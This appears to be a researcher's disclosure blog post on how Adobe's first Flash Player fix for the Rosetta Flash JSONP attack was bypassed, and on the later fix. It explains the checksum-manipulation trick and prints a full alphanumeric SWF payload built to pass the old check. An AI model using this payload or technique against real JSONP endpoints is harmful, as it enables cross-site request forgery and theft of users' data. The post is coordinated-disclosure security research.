Adobe fixed Rosetta Flash today

Adobe pushed a tentative fix for Rosetta Flash in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in the next release, version 14.0.0.145, on July 8, 2014.

In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

What I quickly found out after reversing the patch is that the fix was not good enough.

The old 14.0.0.145 fix

What Flash Player used to do in order to disrupt Rosetta Flash-like attacks was:

Check the first 8 bytes of the file. If there is at least one JSONP-disallowed character, then the SWF is considered safe and no further check is performed. Flash will then check the next 4096 bytes. If there is at least one JSONP-disallowed character, the file is considered safe. Otherwise the file is considered unsafe and is not executed.

First problem: JSONP whitelist too broad

The JSONP-disallowed list was [^0-9A-Za-z\._] and was too broad. For instance, they were considering the $ character as disallowed in a JSONP callback, which is often not true, because of jQuery and other fancy JS libraries.

This means that if you add $ to the ALLOWED_CHARSET in Rosetta Flash, and the JSONP endpoint allows the dollar sign in the callback (they almost always do), you bypass the fix.

Second problem: we control the ADLER32 checksum!

A Rosetta Flash-generated SWF file ends with four bytes that are the manipulated ADLER32 checksum of the original, uncompressed SWF. A motivated attacker can use the last four malleable bytes to match something already naturally returned by the JSONP endpoint after the padding.

An example that always works is the one character right after the reflected callback: an open parenthesis: ( .

So, if we make the last byte of the checksum a ( , and the rest of the SWF is alphanumeric, we can pass as a callback the file except the last byte, and we will have a response with a full valid SWF that bypasses the check by Adobe (because ( is disallowed in callbacks).

We are lucky: the last byte of the checksum is the least significant of S1, a partial sum, and it is trivial to force it to ( with our Sled + Delta bruteforcing technique.

Here is a valid alphanum Flash file that ends with an open parenthesis and that we could pass, trimming the last character, as a JSONP callback (wrapped, remove newlines):

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333 swW0ssG033wDDtpt33333www03333gFPoHXwHHhOHHFhH3D0Up0IZUnnnnnnnnn nnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqef XAxooooD0CiudIbEAt333wEDDt0GDGpDDwGG0wttttwwDtwt33333www033333G fBDTHHHHChHHHMRFHHHhHHCccCSsgSkKoumWW7D0Up0IZUnnnnnnnnnnnnnnnnn nnUU5nnnnnn3Snn7YNqdIbeUVUUUeF13333WUDUUT1333G1333333WUU03GDTVq efXA8oddx888f9V0CiudIbEAt3W0wDt033sGG0GttGwt33333333ww0333GDfBD hRHJqqIHZvAqFzAHjVUVYrvqQQzrEVAArzrAnVrzQfrNeYErmqeHjVUVYrvqQQz ryzmrvqqfFmVHjVUVYrvqQQz2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3S nn7CiudIbEAtswwW0GDDG033st0GDDGwGGG33333333s033sDdFPvrfZbynqbJA yHRZIZAbznNNrbAqNbrAnqNjbrNjbjZaZAQbynqHRZIZAbznNNrbVZQbynqbjni NHRZIZAbznNNrbzFIZbynqb1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Sn n7wiudIbEAtwWDttDDDwpDGpDDwG0stDDGptDwpDttt3st3GDDDtDDDtDDDGDDD t033sDDt333wwv33gBDIHjYqqEHEVHEfuEHdHnQFfuHVaEHyfEJfuEbqYaZEHAf QvENHyzYqAAHaZuyzYqAAHyfEJnafqeEHIYqEqEMIfHaZnQHynmfHrEZvfHNfnv NEHzYfZEfJfuEbnfAFHZIIHBrrfERYqIbAZvyHJfuEbqYaZEHWXHDHLttwXHOhW XHDhLWXHDHgDHHHHxlHoHWTHDXD8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnn n3Snn7CiudIbEAtwu3swD33wwGptpDDG0333sG0w33333www033GdFPtxtDtdtT TdHHHWOhHXVoXHttnoXHtLwoxHtlttnoXHtLwoXHtlwodH4D0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDwG333sw0GtDDDw03333sDt3333 3sG03sDDdFPtxXdHNwXHdLggGGWwXHdHNwXHdlgwDHDhHHHddNwXHdTg7D0Up0I ZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333sE0GDtDDDtDDDwDG pDDwGGpt03wDDDGDDDG0333st333swwv3wwwFPXHLRKvOXHLHAODHLBLHAOXHLB SOdHthHHHcODHDXLrSCsOXHLLAOXHLlSODHLJLLAOXHLlSOXHLjSsOtHtotHHLH AOtHtXHHHLhAOXHLZKvWhHHsODHDHLzSWhHhvODHDHLFwBHHhHxmHXgGHkHOXHL HAOXHLbSOtHLftQHHHsOXHLVAOXHLvSOaH4D0Up0IZUnnnnnnnnnnnnnnnnnnnU U5nnnnnn3Snn7GNqdIbeUV13333333333333333sUUfpDDqUE0gfzAox88D8888 D8888D88880CiudIbEAt3sWtwG3swwGptwG0wDG03333GDD33333sw033gFPLlt THHHLLnwXHLVWfwXHLHnwlHLvtHHHHLHGggwrHthHHHXDhtxHHHLNkfwlHDHLBt HHHHg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwEwDGG ptwtG03sDwwwGDGt3wwGGwGDtGDsw0GDtGpDDt33333www033GdFPtHDHTLdHHH HTBrnHRxjHHHObHDHvQJaZMvJfNHgCcGHVKKkHSmcsHoXHTHwhHHloXHThbodHd hHHHTXboXHTxAlH2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIb e13333333333333WfV133sUU03sDUVUUUefXA888ooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooc8888888888888888888 8888888888880tvI(

This issue has CVE-2014-5333.

The new fix in 14.0.0.176

I reported the bypass to Adobe as soon as I discovered it, a few days after my writeup was published. We worked together for coming up with a complete fix.

The new version, released on August 12 2014, does the following checks in sequence:

Look for Content-Type: application/x-shockwave-flash header. If found, return OK. Scan the first 8 bytes of the file. If any byte is >= 0x80 (non-ASCII), return OK. Scan the rest of the SWF, and at maximum 4096 bytes. If any byte is >= 0x80 , return OK. The SWF is invalid, do not execute it.

In the security bulletin APSB14-18, Adobe mentions the new validation:

These updates include a new validation check to handle specially crafted SWF content that can bypass restrictions introduced in version 14.0.0.145. The new restrictions in 14.0.0.176 prevent Flash Player from being used for cross-site request forgery attacks on JSONP endpoints (CVE-2014-5333).

I believe this is finally enough.

Credits

Thanks to Nicolas Ruff, my colleague at Google, for reversing the patches and to Avira Blog for the illustration at the top of this blog post.